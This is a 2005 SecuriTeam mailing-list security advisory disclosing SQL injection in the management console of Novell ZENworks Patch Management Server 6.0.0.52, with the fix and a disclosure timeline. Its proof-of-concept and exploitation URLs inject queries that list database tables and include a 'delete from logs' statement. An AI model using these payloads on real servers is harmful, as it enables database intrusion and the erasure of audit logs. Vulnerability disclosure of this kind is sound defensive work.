The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Novell ZENworks Patch Management Server SQL injection
------------------------------------------------------------------------
SUMMARY
<http://www.novell.com/products/zenworks/> ZENworks Suite "automates and
enforces business and IT managment processes across the lifecycle of
desktops, laptops, servers and handhelds to control costs, ensure security
and compliance, optimize the value of IT assets across diverse server and
client platforms".
The Novell ZENworks Patch Management Server is vulnerable to SQL injection
in the management console.
DETAILS
Vulnerable Systems:
* Novell ZENworks Patch Management Server version 6.0.0.52
Immune Systems:
* Novell ZENworks Patch Management Server 6.2.2.181 or newer
Proof of Concept:
http://192.168.1.10/computers/default.asp?sort=&Direction=';
Response from server: Incorrect syntax near ', @RecsPerPage=100,
@FirstRec=0, @Action=0, @Search = ', @groupFilter = '.
http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc
&SearchText=';StatusFilter=ERRR
&computerFilter=187&impactFilter=29&saveFilter=save&Page=rep
Response from server: Incorrecy syntax near ', @delimiter='.
http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc
&SearchText=CIRT.DK &StatusFilter=';&computerFilter=187&impactFilter=29
&saveFilter=save&Page=rep
Response from server: Incorrect syntax near ', @groupFilter = ',
@ImpactFilter = '.
http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc
&SearchText=CIRT.DK &StatusFilter=ERRR&computerFilter=';&impactFilter=29
&saveFilter=save&Page=rep
Response from server: Line 1: Incorrect syntax near ', @Contact_ID='.
Exploitation examples:
http://192.168.1.10/computers/default.asp?sort=&Direction=;select
*+from+testclient.master.dbo.sysobjects
http://192.168.1.10/computers/default.asp?sort=&Direction=;select
*+from+OPENQUERY+(+[testclient],+"select+@@version;+delete+from+logs")
Server 'testclient' is not configured for DATA ACCESS. [2]
http://192.168.1.10/computers/default.asp?sort=&Direction=;SELECT
name+FROM+sysobjects+WHERE+xtype+=+"U"
http://192.168.1.10/computers/default.asp?sort=&Direction=;select
*+from+OPENQUERY+(+[testclient],+"select+@@version;+delete+from+logs")
Server 'testclient' is not configured for DATA ACCESS.
Solution:
Upgrade to ZENworks Patch Management version 6.2.2.181 (or newer hot fix
via your PLUS server) found at <http://download.novell.com>
http://download.novell.com.
Timeline of public disclosure:
01-10-2005 Vulnerability discovered
11-10-2005 Research completed
12-10-2005 Sent information to Novell (secure@novell.com)
12-10-2005 Information sent to CERT/CC (cert@cert.org)
12-10-2005 CERT/CC responds with VU#536300
13-10-2005 Response from Novell
27-10-2005 Public Release
ADDITIONAL INFORMATION
The information has been provided by <mailto:advisory@cirt.dk> Dennis
Rand.
The original article can be found at:
<http://www.cirt.dk/advisories/cirt-39-advisory.pdf>
http://www.cirt.dk/advisories/cirt-39-advisory.pdf
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
